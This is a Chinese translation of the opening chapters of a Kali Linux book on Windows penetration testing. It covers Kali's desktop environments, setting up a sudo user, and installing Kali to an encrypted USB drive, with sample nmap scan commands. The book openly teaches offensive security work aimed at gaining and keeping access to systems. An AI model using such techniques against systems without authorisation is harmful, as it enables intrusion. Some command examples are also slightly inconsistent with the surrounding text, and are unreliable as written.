Kali-Linux-2018:Windows-渗透测试(全)

Kali Linux 2018:Windows 渗透测试(全)

原文:annas-archive.org/md5/1C1B0B4E8D8902B879D8720071991E31

译者:飞龙

协议:CC BY-NC-SA 4.0

前言

Microsoft Windows 是两种最常见的操作系统之一,管理其安全性催生了 IT 安全学科。Kali Linux 是测试和维护 Windows 安全性的首选平台。Kali 是基于 Linux 的 Debian 发行版构建的,并且共享了该操作系统的传奇稳定性。这使您可以专注于使用网络渗透、密码破解、取证工具,而不是操作系统。

本书具有最先进的工具和技术,可以复制复杂黑客使用的方法,使您成为 Kali Linux 渗透测试的专家。您将首先了解现在随 Kali 一起提供的各种桌面环境。本书涵盖了网络嗅探器和分析工具,以揭示网络上使用的 Windows 协议。您将看到几种工具,以提高您在密码获取方面的平均水平,从哈希破解、在线攻击、离线攻击和彩虹表到社会工程学。它还演示了 Kali Linux 工具的几种用例,如社会工程工具包、Metasploit 等,以利用 Windows 漏洞。

最后,您将学习如何获得对受损系统的完全系统级访问权限,然后保持该访问权限。在本书结束时,您将能够使用易于遵循的说明和支持图像快速进行系统和网络渗透测试。

本书适合人群

如果您是一名希望通过对 Kali Linux 进行深入了解来扩展攻击技能的工作中的道德黑客,那么这本书就是为您而写的。对 Linux 操作系统、Bash 终端和 Windows 命令行的先前了解将非常有益。

充分利用本书

您需要以下内容来测试本书的代码:

  • 路由器/防火墙

  • Linux 工作站 8 核 32 GB RAM 用于 VM 服务器。(运行 VirtualBox)

  • Windows 2008 服务器用于 DC(VM)

  • Windows 2008 服务器文件服务器(VM)

  • Win7 客户端(VM)

  • Win10 客户端(这是一台物理笔记本电脑)

  • 笔记本电脑运行 Kali 4 核 8 GB RAM。用于攻击的平台。(我的个人笔记本电脑)

下载彩色图片

我们还提供了一个 PDF 文件,其中包含本书中使用的屏幕截图/图表的彩色图像。您可以在这里下载:www.packtpub.com/sites/default/files/downloads/9781788997461_ColorImages.pdf

使用的约定

本书中使用了许多文本约定。

CodeInText:表示文本中的代码词、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 URL、用户输入和 Twitter 句柄。这里有一个例子:“这将产生一个快速扫描-T代表时间(从 1 到 5),默认时间是-T3。”

一块代码设置如下:

html, body, #map {
 height: 100%; 
 margin: 0;
 padding: 0
}

任何命令行输入或输出都写成如下形式:

nmap -v -sn 192.168.0.0/16 10.0.0.0/8
nmap -v -iR 10000 -Pn -p 80

粗体:表示一个新术语、一个重要单词或您在屏幕上看到的单词。例如,菜单或对话框中的单词会以这种方式出现在文本中。这里有一个例子:“从顶部栏上的图标打开终端,或者点击菜单链接:

应用程序 | 配件 | 终端”。

警告或重要说明会显示为这样。

提示和技巧会显示为这样。

第一章:选择您的发行版

自我们的书的第一版以来,Kali Linux 发生了很多变化。除了 Kali 现在是一个滚动发行版之外,它现在还配备了几个桌面环境和几种不同的内核架构。这意味着你可以在小型树莓派上运行 Kali,也可以在专为速度和功率而建的完整工作站上运行 Kali。通过添加一个普通用户帐户和一些额外的配置和软件包,你可以将 Kali 作为你的日常驱动程序操作系统。在本章中,我们将讨论几种桌面环境以及各自的优缺点。这将帮助你决定在使用 Kali 进行黑客活动时应该下载哪个发行版。如果你对 Linux 不熟悉,本章将帮助你了解 Linux 及其设计的一些内部知识。

  • 桌面环境

  • 选择您的外观和感觉

  • 为您的日常驱动程序进行配置

桌面环境

Unix/Linux 系统和 Windows 之间的一个重大区别是它们在设计上真正是模块化的。当然,我知道微软说“Windows 在设计上是模块化的”,但实际情况并非如此。在 Windows 中,桌面无缝集成到操作系统中。因此,在 Server 2012 之前,你必须运行带有运行 GUI 的 Windows 服务器。在 Server 2012 中,你可以选择无头运行机器,但在这种模式下服务器的使用非常有限。试图卸载 Internet Explorer;嗯,你不能。是的,Internet Explorer 是一个具有最大安全漏洞的常见应用程序之一。是的,Internet Explorer 具有系统级访问权限。是的,托托,这是一个问题,我们将在本书的后面利用它,但在本章中让我们专注于桌面环境。

Linux 的设计真的是模块化的。Linux 的父亲是 Unix,Unix 的整个设计理念是小型交互式程序,可以链接在一起执行更大的任务。Linux 也是这样设计的。实际上,Linux 只是由一个人,Linus Torvalds 发明的操作系统的内核。几乎所有其他东西都是一系列小应用程序组合在一起让系统运行。一个大而持续的组件集,帮助内核与硬件交互,被称为 GNU 工具集。这些工具大多是从 Unix 移植过来的,或者重新编写以避免版权问题,但仍然使用相同的输入和输出。

因此,根据这种设计结构,GUI 只是操作系统的另一个模块,可以在不影响底层工作部分的情况下进行更改或完全删除。这使得 Linux 能够做任何事情,从智能手表到运行强子对撞机,或者...成为一个黑客机器。

桌面环境与窗口管理器

一个重要的区别可能会帮助你理解桌面环境在 Kali 和其他 Linux 系统上是如何工作的,那就是窗口管理器。桌面环境,也称为图形用户界面(GUI),通常包括文件夹、壁纸、桌面小部件、图标、窗口、工具栏和应用程序界面。微软 Windows 桌面环境可能是你发现的第一个类似的构造。你的智能手机也有一个桌面环境,而 Windows 8 桌面环境的失败是试图将 Windows CE(手机 GUI)和 Windows 7/Server 2003 GUI 的开发合并在一起。微软犯的错误是假设有更多具有触摸屏功能的工作站。技术显然存在,但显示器昂贵且使用范围有限。Bo 和 Wolf 认为 Ubuntu Unity 桌面环境也是基于相同设计假设的失败。鼠标驱动的工作站界面还将继续存在一段时间。

在 Kali 中,桌面环境通常与 X Windows 系统或 Wayland 等窗口系统交互,后者直接在硬件之上运行,并且与用户看到和与之交互的窗口管理器应用程序交互。窗口管理器提供了 Kali Linux 体验的外观和感觉。在 Kali Linux 中几乎可以与任何桌面环境一起使用几种窗口管理器。其中之一是 Enlightenment 窗口管理器,它作为 E17 包含在 Kali ISO 下载中。E17 和完整的桌面环境(如 KDE 或 Gnome)之间的主要区别在于,E17 几乎没有专门为 E17 构建的应用程序,而 KDE 和 Gnome 有专门的应用程序,需要满足大量依赖关系才能在其他桌面环境中运行。Kate 和 gedit 分别是 KDE 和 Gnome 的专门文本编辑器。

启蒙(E17)

安装 E17 ISO 与安装任何其他桌面环境几乎相似,只要你使用默认安装选项。标准引导屏幕是运行级别 3,只有一个命令行界面,所以你必须使用startx命令来查看桌面界面。如下截图所示:

E17 启动屏幕

在第一次登录到 E17 环境时,你将被问及一系列你在安装过程中已经回答过的问题:

  • 语言:默认高亮显示的是美式英语。

  • 键盘布局:默认高亮显示的是英语(美国)。

  • 配置文件:这是硬件配置文件,选择是移动和计算机。默认高亮显示的是计算机。

  • 大小:这是标题大小。选择从 0.8 到 2.0。默认高亮显示的是 1.0。

  • 窗口焦点:选择是单击和鼠标悬停。默认高亮显示(以及一般的 Linux 默认)是鼠标悬停。

  • 检查 Connman 是否存在:Connman 是 Enlightenment 网络连接管理器。点击安装/启用 Connman。

  • 合成:这是 E17 中大部分视觉效果的来源。默认情况下启用合成,但如果你正在进行裸机安装,你可能想使用硬件加速(Open-GL)合成。如果 RAM 不足或者你使用的是较旧的处理器,你可能根本不想使用合成:

首次启动合成选择

  • 更新:你可以启用对 Enlightenment 更新的检查。默认情况下是勾选此更新的框。如果你在目标网络中运行,请清除此复选框。如果网络应该是仅限 Windows 的,那么随机出现的网络检查就不是特别隐秘了。

  • 任务栏:启用任务栏可以让你在 Kali Linux E17 桌面上看到打开的应用程序和窗口。这是默认启用的。

一旦你完成了配置,E17 会显示桌面。下面的截图显示了默认桌面。你可能注意到的第一件事是背景是一个平坦的白色板。顶部的菜单行来自 Virtual Box。底部的菜单栏让人联想到苹果 Mac 的工具栏。中间的浮动菜单栏是通过右键单击桌面实现的:

E17 默认桌面

基本默认文件管理窗口如下截图所示。它是可读的,但几乎没有令人兴奋的地方。如果你点击桌面菜单,你可以添加小工具。我已经在任务栏中添加了一个系统小工具,但你也可以把它放在桌面的任何地方。下面的截图显示了来自背光小工具的右键菜单。如果你点击“开始移动小工具”,你可以移动所有的小工具,直到你点击“停止移动小工具”:

移动小工具

E17 窗口管理器问题

  1. 几乎所有的安全工具都被归类在“其他菜单”下的“应用程序菜单”下,这可能会有点拥挤。

  2. 如果您在靠近右屏幕边框的地方打开单击菜单,子菜单将超出屏幕。其他菜单过度拥挤的效果如下屏幕截图所示:

其他菜单过度拥挤的效果

  1. 这个版本的 Enlightenment 已经有好几年了。当前的主要版本是 22。也许创建 Kali 的 Offensive Security 的人决定将 Enlightenment 冻结在主要版本 17,因为 Enlightenment 开发人员正在转向使用 Wayland 窗口系统,默认情况下 Kali-E17 正在使用xorg窗口系统。

要检查您的 Kali 版本是否正在运行 xorg 还是 Wayland,请在命令行上键入xdpyinfo。如果它正在运行纯 Wayland 环境,该命令将失败。如果它正在使用 xorg,它将产生有关您的视频配置的几行信息。以下屏幕截图显示了默认安装的结果的截断屏幕:

截断的 xpdyinfo 输出

  1. 获取所有安全工具的最简单方法似乎是打开“应用程序”|“运行所有”对话框,如前面所示。我发现当我尝试打开 E17 中的默认终端仿真器xterm来安装我最喜欢的软件安装程序Synaptic时,会返回错误代码。我必须转到“应用程序”|“系统菜单”并从那里打开 xterm。似乎没有一个简单的解决方法来修复失败的“运行所有”小部件。也许升级到当前稳定版本的 Enlightenment(E22.x)会解决这个问题,但解决方案可能需要重新设计窗口系统,这是一个非常重要的工作。

要安装synaptic

#> apt install synaptic

要在 E17 中更改壁纸,请单击“应用程序”|“设置”|“壁纸设置”。这将打开以下屏幕截图中显示的对话框。您可以选择自己的桌面图像或工厂图像之一:

更改桌面壁纸

Gnome 桌面

在 Backtrack 时代,Backtrack 是 Kali Linux 的前身安全平台,默认桌面环境是一个非常简化的 KDE 版本。当 Backtrack 被废弃并且 Offensive Security 发布了 Kali 时,默认桌面被更改为 Gnome。Backtrack 只是一个活动光盘 CD,并且不打算安装在任何计算机上。Backtrack 版本的 KDE 被简化以便能够从标准 CD 加载。这种简化去除了许多桌面功能。当 Kali 发布时,它被设计为从活动 DVD 加载,并安装在 x386 和 amd_64 架构上。Gnome 略微让人联想到 Windows 3.11 的外观和感觉,并且使用更少的内存来绘制桌面比 KDE。

Gnome 桌面自 Linux 早期以来就存在。Kali Linux 默认桌面环境是 Gnome 3。进行标准安装时,桌面看起来像这样:

Gnome 3 默认桌面

左边框上的工具栏是收藏夹组。当您打开任何应用程序时,它的图标会出现在左侧的收藏夹组中,如下面的屏幕截图所示,我已经打开了 OWASP ZAP:

将应用程序添加到收藏夹组

安全工具菜单位于桌面左上角的“应用程序”选项卡下。这是一个非常好的分类列表,使得更容易找到您想要使用的任何工具。列表如下屏幕截图所示:

Kali 的 Gnome 应用菜单

在 Gnome 3 中更改桌面图像很容易,但设置菜单有点难找。它隐藏在右上角的图标下面。以下截图显示了系统菜单,其中包括声音音量控制、网络连接对话框和设置编辑器:

Gnome 系统菜单

大多数 Gnome 中的设置都可以在设置对话框中找到,如下一个截图所示。有关 Wi-Fi、背景、通知、搜索、区域和语言、通用访问、在线帐户、隐私、共享、声音、电源和网络的设置表。下一个截图显示了桌面编辑器,其中包含默认的桌面图像:

Gnome 设置对话框

要更改图像,只需单击要更改的图像。这将打开一个对话框,您可以从图片目录中选择几个包含的图像,或者选择自己的图像:

Gnome 3 桌面问题

  • 似乎没有任何简单的方法将应用程序添加到收藏夹组

  • 下拉菜单栏使用滑块将您带到通常的应用程序菜单,而不是完整长度的子菜单

KDE 桌面

KDE 自 Linux 早期以来就存在,是 Bo Weaver 最喜欢的。随着年龄的增长,稳定性也增加了,KDE 是一个非常稳定的桌面。外观和感觉非常类似于 Windows,因此对于 Windows 用户来说很容易使用。 KDE 的一个优势是桌面高度可配置。如果你不喜欢它的外观,就改变它。这可能是一个很大的优势。 KDE 带有所有最新的 Jumping Monkeys 和功能。你可能喜欢你自己的桌面环境,就像我们一样。只要你能把桌面配置成多年来一直的样子,最新的东西就无所谓了。这有助于肌肉记忆。肌肉记忆起作用是因为一切都在预期的位置上,这降低了工作的开销,因为没有时间去寻找你每天使用的常见工具。不必考虑工具在机器上的隐藏位置或如何保存文件,因为开发人员决定该应用程序不再需要菜单栏。使用 KDE,你可以将你的桌面改回老式的简约桌面,一切都和多年前一样。如果你感到无聊,你可以定制桌面,超出默认的 Kali 外观。下一张截图显示了默认桌面,开始菜单打开在应用程序上。菜单组织与你已经看到的 Gnome 3 菜单类似:

默认 KDE Kali 桌面

KDE 的一个缺点是,由于它是如此高度可配置并且带有许多内置功能,它对机器的内存和显卡需求很高。KDE 确实需要在具有良好内存的现代机器上运行。此外,由于它是如此高度可配置,有时很容易搞乱你的设置。

KDE 的一个优势是桌面小部件。桌面小部件是在桌面上运行的小应用程序,可以做很多事情。在黑客时,你需要密切关注你的本地系统资源。有一些小部件可以让你一目了然地监视系统内存、CPU 和网络使用情况。在工作中突然启动一个工具,然后因为内存不足而导致系统崩溃是一件令人沮丧的事情。使用小部件,你可以监视内存使用、网络和 CPU 使用情况。

KDE 在使用多个监视器时也非常好用,并且可以完全配置分配哪个监视器是主监视器以及工具栏的位置。它还可以在不重新启动或调整配置的情况下恢复到单个监视器。当你的机器是一台经常移动的笔记本电脑时,这一点非常棒。

KDE 开发人员似乎明白,平板电脑的桌面界面在使用鼠标的工作站上不起作用。自从平板电脑出现以来,KDE 现在确实有两个界面,Plasma 和 Neon,它们在硬件更改时互换。它们都使用相同的后端工具集;只有在从平板模式切换到工作站模式时,外观和功能才会发生变化。这是 Windows 8 桌面的失败,也是 Gnome 桌面的失败。你不能设计一个既适用于手指又适用于鼠标的界面。你最终得到的将是一个既不适合手指也不适合鼠标的界面。

KDE 问题

KDE 图形繁忙,使用了大量资源。这使得它不适合非常老旧的机器,或者图形内存较低的机器。

  • SHOW STOPPER!: 这是一个安装程序问题,你可能不会遇到这种情况。创建 Kali Linux 的人随着时间的推移向 ISO 磁盘文件添加更新,当 Wolf 进行此安装时,出现了这个问题。这很容易解决,重要的是不要惊慌。如果你的安装出现这种情况,你没有做错任何事。安装后,KDE 实例加载到 tty1 全屏 CLI,startx不会启动 GUI。startxxinit软件包的一部分,所以你可以以 root(刚刚登录的帐户)的身份输入以下内容来安装xinit
#> xinit 

安装 xinit 后的 KDE startx

LXDE 桌面

LXDE,全称轻量级 X11 桌面环境,是由台湾程序员洪任中在 2006 年设计的,他写了 LXDE 的第一个模块。那是一个文件管理器。这让人想起 Linux 内核本身的创建,Linus Torvalds 从一个文件管理器模块开始。安装出现了问题,但是 Live 光盘似乎运行良好。我注意到 Kali-Linux 图形安装要求输入机器域,但常规安装不需要。下面的屏幕截图显示了默认的 LXDE 桌面。

这个桌面环境也让人想起 Windows XP,因为菜单启动按钮在左下角:

LXDE 默认桌面视图

要更改桌面背景,请转到左下角的菜单,选择首选项|桌面首选项。菜单显示在下一个屏幕截图中。如果你想要更多的背景图片选择,可以查看pixabay.com/

LXDE 桌面图像首选项对话框

LXDE 问题

  • SHOW STOPPER: 图形安装失败,因为没有计划分区表,也没有计划创建文件系统

  • SHOW STOPPER: 常规安装失败,因为未安装操作系统

MATE 桌面

MATE 桌面是现在已经不再使用的 Gnome 2 桌面环境的一个分支。MATE 代表 MATE 高级传统环境。这类似于 GNU 首字母缩略词,GNU 不是 Unix。将分支重命名为 MATE 避免了与仍在使用的 Gnome 3 环境的命名约定问题。

MATE 包括许多 Gnome 应用程序的分支,并且开发人员编写了新的应用程序。这些名称都是西班牙语,以反映 MATE 的阿根廷起源。

MATE 应用程序包括以下内容:

  • Caja: 文件管理器(来自 Nautilus)

  • Atril: 文档查看器(来自 Evince)

  • Engrampa: 存档管理器(来自存档管理器)

  • MATE 终端: 终端模拟器(来自 GNOME 终端)

  • Marco: 窗口管理器(来自 Metacity)

  • Mozo: 菜单项编辑器(来自 Alacarte)

  • Pluma: 文本编辑器(来自 Gedit)

MATE 的第一次启动,以及所有后续的启动,都将我们带入运行级别 3,如下面的屏幕截图所示:

MATE 首次启动

MATE 的默认 GUI 对大多数 Linux 用户来说是熟悉的,因为它几乎是 Gnome 2 的镜像。下一张截图显示了带有默认 Kali 标志的桌面。应用程序、位置和系统菜单结构一直是 Linux 桌面的标志,许多长期使用 Linux 的用户欢迎 MATE 团队维护这一传统的努力:

MATE GUI

以下截图显示了 MATE 桌面的所有三个系统菜单,代表性的子菜单已打开。Places 菜单打开 Caja(文件管理)窗口:

MATE 系统菜单

外观和感觉菜单为您提供了 12 种预设的外观偏好,然后可以进一步定制。以下截图显示了其中一些预设的选择:

MATE 外观预设

MATE 问题

进入运行级别 3 的行为是困难的,但并非不可克服,因为我们知道在面对这个屏幕时要尝试startx。根据您下载 MATE 的日期,您可能会遇到这个问题,也可能不会。这是服务器的标准运行级别,但您可能希望在 Kali Linux 中同时使用 GUI 和 CLI 工具。

Xfce 桌面

Xfce 桌面是一个轻量级的桌面环境,是 Wolf Halton 的个人最爱。他在写本书第一版时使用 Xfce 来节省资源。他今天正在使用它作为高度定制和古怪的 Ubuntu Studio 操作系统的一部分,以便在本书的当前版本上工作。

这个桌面环境的缩写发音为ex-eff-cee-ee。它曾经是 X-Forms Common Environment 的首字母缩略词,但现在它使用的是 GTK 工具包而不是 X-Forms。Xfce 最初设计为 CDE 的替代品,CDE 是 1996 年的 Unix Common Desktop Environment,当时后者仍然是专有的。一些人可能认为 Xfce 在外观和感觉上有点过时。默认的 Xfce 桌面显示在以下截图中:

Xfce 默认桌面

底部的工具栏是最小化但完全功能:

  • 第一个按钮最小化所有窗口,显示桌面

  • 第二个按钮打开命令行终端仿真器

  • 第三个按钮打开 Thunar 文件管理器

  • 第四个按钮打开 Firefox 网络浏览器

  • 第五个按钮是应用程序查找器

  • 第六个按钮是活动用户的家目录

以下截图显示了打开root家目录、终端仿真器、浏览器窗口和应用程序查找器的结果。application文件夹中有一个应用程序菜单,与左上角的应用程序按钮相同:

Xfce 下部工具栏示例

改变个性化最明显的方法是将桌面更改为您选择的图像。有四个选项卡可以对桌面环境进行更深入、更微妙的更改,并使 Xfce 成为您自己的。以下截图显示了这四个选项卡中的三个:

Xfce 外观选项

Xfce 问题

Xfce 桌面没有真正的显示停止器。也许这是因为 Xfce 是一个非常稳定的桌面环境;它从未带来任何问题。

选择外观和感觉

外观和感觉是主观的。没有人有完全平均的气质。用例将在您选择硬件和使您满意的自定义程度方面发挥重要作用:

  • 如果您总是从 USB 存储设备或光盘运行,最好使用 Gnome 3 桌面,因为它经过开发人员最多的测试,或者使用 Xfce 桌面,因为它使用的资源最少

  • 如果您要安装到虚拟机,您可能希望使用 Xfce 或 LXDE 桌面环境,因为虚拟机往往具有较低的资源级别

  • 如果您要加载到专用服务器或笔记本电脑,您可能具有最高的资源级别,并且不太可能经常破坏操作系统,因此选择 E17 或 KDE 桌面,因为它们是最可定制的

  • 如果您已经对任何桌面环境有深入的了解,您可能应该选择那个,因为它为您提供了舒适的使用体验

配置 Kali 成为您的日常驱动程序

Kali 自从首次开发以来已经走了很长的路。它最初是 Linux 的精简版本,旨在作为 VM 或从 USB 或 CD 运行。您的常规计算工具只是在那里。您会注意到 Kali 旨在在 root 帐户下运行。在安装过程中,与大多数其他发行版不同,安装中没有正常的设置用户帐户部分。当然,这通常是一个很大的安全禁忌。普通用户不应该具有系统的根级访问权限。今天,在大多数 Linux 发行版上,root 帐户基本上已禁用了交互式登录,并且系统管理的指令告诉您使用sudo来访问系统级文件。基于 GUI 的管理应用程序要求用户sudo并使用其凭据打开和保存对系统的配置更改。这对于正常使用的系统设置是一个很好的主意,但是在渗透测试中,您需要直接访问硬件和系统级别。在每个命令前使用sudo并不是一个有用的选项。

下一个截图是 Bo 编写本章时所用计算机的桌面。由于他正在撰写文档,查找互联网上的信息并检查电子邮件,因此他使用了基本的非特权用户帐户。请注意他的个人照片在桌面上。在系统上使用多个帐户(特别是其中一个帐户是 root 时),您可能希望为每个帐户设置不同的壁纸。这有助于提醒您登录方式,并防止您在 root 帐户中做一些愚蠢的事情。这也有助于保护您免受互联网上的恶意攻击:

Bo Weaver 的桌面

以下截图是此计算机的根桌面。当您使用此壁纸时,您会毫无疑问地知道自己在哪里:

Bo Weaver 的根桌面

用户帐户设置

在设置和运行 Kali 之后,您需要将普通用户帐户添加到系统中,使其成为您的日常驱动程序。大多数 Kali 发行版未加载用户管理器应用程序。它们可以安装,但最简单的方法,也适用于所有发行版的方法是使用终端中的老式useradd命令,如下一个截图所示。

此用户和所有其他用户进程的用户是 root:

添加管理员用户

为了解释命令选项的含义,以下是一个示例,添加用户fred并设置密码为Password。请确保将用户名和密码更改为您的唯一帐户;我们不再允许fred进入我们的网络。

useradd -m -U -G sudo -p LamePassword fred  

我们在这个命令中使用的标志如下:

  • -m:在/home目录中为用户设置一个主目录。

  • -U:此标志为新用户设置了一个唯一的用户组,组名与用户名相同。

  • -G sudo:这将新用户添加到不止他自己的组。您希望您的普通用户帐户具有 sudo 访问权限,因此我们将用户添加到 sudo 组。

  • -p LamePassword:此标志为帐户设置了密码。请不要在这里使用愚蠢的东西。

  • fred:我们用新用户名结束命令。

  • 接下来,只需按下Enter键,新用户帐户就设置好了。

有几个应用程序你需要加载才能使用桌面:要么是 LibreOffice 或 Apache OpenOffice,还有一个邮件客户端。Kali 的存储库中没有 OpenOffice,所以在这个演示中我们将使用 LibreOffice。Mozilla Thunderbird 是一个有用的邮件/日程安排工具。我们将在演示中使用它。Kali 默认没有安装邮件客户端,因为它是设计为在 root 下运行的。警告:永远不要在 root 账户下打开邮件。坏事可能会发生!

首先,确保你的软件包列表是最新的,所以运行这个命令:

apt-get update  

接下来,安装 OpenOffice 和 Thunderbird:

apt-get -y install libreoffice thunderbird  

或者,使用这个:

apt install libreoffice thunderbird  

-y标志将回答是安装软件包。在这一点上,喝杯咖啡或者出去走一小段路,因为这将需要一些时间来安装。第二个命令做同样的事情,但它让我们查看要安装和升级的软件包。第二个命令的结果的摘要显示在下一个截图中。这个截图显示了安装的主要部分之间的波浪线,以适应所有这些实际存在的三个屏幕详细信息的图像窗口。有数十个建议的软件包,你可以忽略这些,只需按下Y键。你也可以稍后返回,从终端窗口中复制所有建议的软件包名称,并运行这个命令:

apt install [all those names you just copied]  

将它们添加到你的安装中:

安装邮件客户端和办公应用程序

所以,现在你准备好了。将你的 root 桌面更改为某种提醒你已经以 root 身份登录的东西。退出 root,在登录界面输入新用户的凭据。一旦你登录,你现在拥有一个具有正常用户账户完整安全性的运行账户。使用这个账户,你可以安全地浏览互联网,阅读邮件,以及进行其他你通常在系统上做的事情。当你需要进行一些小的渗透测试时,只需以 root 身份登录。

总结

在本章中,我们为你简要介绍了当前桌面环境的选项,并对使用它们进行了一些理由。大多数定制发生在笔记本电脑和台式机上的裸金属安装上。最少的定制将发生在活动光盘和 USB 存储器使用情况下,因为资源有限,更改不会被保留。

第二章:磨刀

一个工匠只有他的工具那么好,而工具需要设置和维护。由于您已经有了对您感兴趣的 Kali Linux 发行版的想法,本章将帮助您设置和配置平台的个人版本。Kali Linux 是多才多艺的,可以用于多种用途。

当您首次决定使用 Kali Linux 时,您可能还没有考虑到各种常见和不常见的用途。本章向您介绍了最适合您的 Windows 渗透测试要求的工具,我们用来确保测试结果准备和呈现正确的文档工具,以及您需要操作这些工具的 Linux 服务的详细信息。许多书籍,包括 Wolf Halton 撰写的有关渗透测试的第一本书,将其章节按照 Kali 安全桌面中的子菜单顺序排列。我们发现这不够直观。我们将所有设置放在开头,以减少第一次使用 Kali 用户的困惑,并且因为某些事情,例如文档工具,必须在您开始使用其他工具之前理解。本章标题为磨刀的原因是因为一个劣质的工匠,或者一个经验不足的黑客,总是责怪他的工具,而一个熟练的工匠会花更多时间准备工具,以便他们的工作更快进行。

在 Kali Gnome3 桌面菜单中,有一个名为收藏夹的子菜单,在您第一次运行时,这些工具将是 Kali Linux 的创建者认为对于工作中的安全分析师来说最不可或缺的武器。在本章中,安装和设置后,我们将向您展示我们最常使用的工具。这些可能成为您的收藏夹。以下屏幕截图显示了默认的收藏夹菜单。默认值如下:

  • Firefox ESR:Web 浏览器

  • 终端:Bash 终端仿真器

  • 文件:类似于 Windows 资源管理器的文件管理器.exe

  • metasploit framework:利用框架的黄金标准

  • armitage:Metasploit 的图形用户界面前端

  • burpsuite:Web 应用攻击代理

  • beef xss framework:跨站脚本工具

  • faraday IDE:支持 70 多种工具的多用户渗透测试环境,包括 Metasploit、Burpsuite、终端等

  • Leafpad:文本编辑应用程序

Kali Linux 上的许多系统服务与基于 Debian 平台的 Ubuntu 和其他 Linux 服务器上的服务相同,但由于有使用客户端/服务器模型的安全工具,因此需要提前启动一些服务才能成功运行测试。

在本章中,我们将学习以下主题

  • 将 Kali Linux 安装到加密的 USB 驱动器上

  • 从 Live DVD 上运行 Kali

  • 安装和配置应用程序

  • 设置和配置 OpenVAS

  • 报告测试

  • 在 Kali Linux 上运行服务

技术要求

  • 您选择的 Kali 发行版(Gnome、KDE、LXDE 或 MATE)

  • 一个至少 16GB 大小的空白 USB 驱动器。

  • 具有手动引导选项的笔记本电脑或工作站

将 Kali Linux 安装到加密的 USB 驱动器上

像大多数有 IT 部门的组织中发现的那样安全的网络环境对安全工程师提出了一些挑战。公司可能有一个特定的批准应用程序列表。防病毒应用程序通常是从中央位置管理的。安全工具通常被错误地归类为邪恶的黑客工具或恶意软件包。许多公司对在公司计算硬件上安装任何不是 Microsoft Windows 的操作系统都有防御性规定。

为了增加挑战,他们禁止在公司网络上使用非公司资产。您将发现的主要问题是,针对 Windows 编写的经济实惠的渗透测试工具非常少,而少数有 Windows 版本的工具,如Metasploit,往往会与较低级别的操作系统功能发生冲突。由于大多数公司笔记本电脑必须在系统上运行反病毒软件,因此您必须在 Metasploit 的目录上进行一些严重的例外处理。反病毒软件将隔离所有病毒和随 Metasploit 一起提供的工具。此外,本地入侵保护软件和本地防火墙规则会引起问题。这些操作系统功能和安全附加组件旨在防止黑客攻击,而这正是您准备要做的事情。

支付卡行业数字安全标准(PCI DSS 3.2.1)要求处理付款数据的任何 Windows 机器或与处理付款数据的任何机器在同一网络上的机器都应该打补丁,运行防火墙,并在其上安装反病毒软件。此外,许多公司的 IT 安全政策规定,任何终端用户都不能在没有处罚的情况下禁用反病毒保护。

将 Windows 机器用作您的渗透测试机器的另一个问题是,您可能会不时地进行外部测试。为了进行适当的外部测试,测试机器必须连接到公共互联网。将 Windows 机器悬挂在公共网络上,并关闭所有安全应用程序是不明智的。这样的配置可能在将其连接到互联网后的 20 分钟内就会被感染蠕虫。

那么答案是什么呢?一个加密的可启动 USB 驱动器,加载了 Kali Linux。在 Kali 的安装屏幕上,有一个选项可以将 Kali 安装到一个带有所谓持久性的 USB 驱动器上。这使您能够将 Kali 安装到 USB 驱动器上,并且可以将文件保存到 USB 中,但该驱动器没有加密。通过在 Linux 机器上挂载 USB 驱动器,您的文件就可以被获取。这对于尝试 Kali 来说是可以的,但您不希望真正的测试数据漂浮在一个 USB 驱动器上。通过对 USB 驱动器进行正常的全面安装,可以在磁盘上使用全磁盘加密。如果 USB 被入侵或丢失,数据仍然是安全的。

在本章中,我们将把 Kali 安装到一个 64GB 的 U 盘上。您可以使用更小的 U 盘,但请记住您将从测试中收集数据,即使在一个小型网络上,这也可能会产生大量数据。我们几乎每天都在进行测试,所以我们使用了一个 1TB 的 USB 3.0 驱动器。64GB 的驱动器对于大多数测试来说是一个不错的大小。

安装的先决条件

在本章中,您将需要一个 64GB 的 U 盘,一个刻录了 Kali 的 DVD 和一台具有 DVD 播放器和 USB 启动功能的机器。您可以在www.kali.org/downloads/下载 Kali,并查找下载您想要的版本的链接。以下截图显示了下载页面的一部分:

由于我们在第一章中向您展示了几种 Kali 的发行版,选择您的发行版,以下截图显示了当您一次下载所有可用的 Kali Linux ISO 文件时会发生什么。

启动

准备好后,将 DVD 和 U 盘插入您的机器。

确保在启动机器之前插入 U 盘。您希望机器在启动时看到 U 盘,这样安装程序在安装过程中就能看到它。

现在启动机器,您将看到以下屏幕。从菜单中选择图形安装。

如果选择第六行的安装命令,还可以使用文本安装程序进行安装。

配置安装

如果您曾经安装过任何 Linux 发行版,安装的第一部分应该看起来非常熟悉。您将看到一系列用于设置国家、语言和键盘的屏幕。为您的地区和选择的语言设置这些。通常安装程序会自动发现键盘,您可以单击所选的键盘。在美国,默认选择是标准英语和标准键盘映射。进行适当的更改,然后在每个页面上单击“继续”按钮。

在进行这些配置之后,您将获得以下窗口以提供主机名。给它一个独特的名称,而不是默认的名称。这在以后使用保存的数据和截图时会很有帮助。如果有几个人使用 Kali,而所有机器都被命名为 Kali,那么数据来自哪里可能会让人感到困惑。

下一个截图要求输入域名。使用您或您公司控制的真实域名。不要使用虚假的域名,如.local.localdomain。如果您在互联网上做生意,或者是一名学生并希望成为一名安全专业人员,请使用一个合适的域名。这样可以更容易地跟踪路由和跟踪数据包。域名很便宜。如果域名属于您的雇主,而您不能只使用他们的域名,请请求一个子域,比如testing.mycompany.com

在下一个窗口中,您将被要求提供 root 密码。给它一个强大的密码。密码越长越复杂,越好。请记住,经过几次测试,您的网络密钥将存储在这台设备上。与大多数计算机操作不同,在渗透测试期间,您将使用 root 帐户,而不是普通用户帐户。您需要能够打开和关闭端口,并完全控制网络堆栈。

标准的 Kali 安装不会给您添加标准用户的机会。如果您在笔记本电脑上安装 Kali,并且除了测试之外还使用这台笔记本电脑进行其他事情,请创建一个标准用户并赋予它sudoer权限。您永远不希望养成使用您的root帐户来浏览互联网和发送电子邮件的习惯。

接下来,您将被要求选择您的时区。根据地图上的位置或下拉菜单设置,或选择您的 UTC 偏移。Kali Linux 上的许多工具会输出时间戳,这些时间戳是您所做的事情的法律证据,以及您所说的时间。

设置驱动器

下一步是设置驱动器,对其进行加密,并对其进行分区。下一个对话框将要求您选择此安装的分区类型。

  1. 选择引导-使用整个磁盘并设置加密的 LVM。这将完全加密整个驱动器,而不仅仅是加密/home目录。

在下一个窗口中,您将被要求选择要安装 Kali Linux 的磁盘。

